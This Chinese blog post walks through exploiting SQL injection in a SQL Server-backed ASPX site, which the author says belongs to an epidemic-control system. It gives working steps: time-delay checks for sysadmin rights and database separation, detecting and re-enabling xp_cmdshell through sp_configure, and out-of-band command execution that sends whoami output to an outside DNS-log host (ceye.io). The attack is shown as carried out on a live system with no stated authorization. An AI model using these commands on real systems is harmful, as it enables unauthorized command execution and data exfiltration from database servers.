web | sqlserver注入&aspx站点
web | sqlserver注入&aspx站点
起因是疫情防控系统发现了这个sql注入漏洞,就深入研究了一下。
参考:https://cloud.tencent.com/developer/article/1595227
https://www.cnblogs.com/OliverQin/p/5032014.html
https://blog.csdn.net/qq_36374896/article/details/84112242
先发现能注入以后可以用分号执行更多的语句。
查看是不是管理员权限:
if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';
判断是否站库分离:
if(host_name()=@@servername) WAITFOR DELAY '0:0:5';
可惜做到这一步的时候没有延迟了,初步判断是站库分离的。
但是我这个点是可以联合查询注入的,我就顺带看一下:
host_name()=WIN-UOMU0PQ6DCD
@@servername=WIN-UOMU0PQ6DCD\MSSQL2012
其实就是一个站啦!
然后判断能不能xp_cmdshell:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回1,说明可以执行命令。
但是准备执行命令的时候发现了这个:
SQL Server 阻止了对组件“xp_cmdshell”的 过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。
不过反正是管理员权限,直接打开开关就行:
--打开xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
--关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
最后使用dnslog带外执行命令:
ping %os%.8d1xje.ceye.io
for /f %i in ('whoami') do set yourvar=%i & ping %yourvar%.8d1xje.ceye.io
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/16012110.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com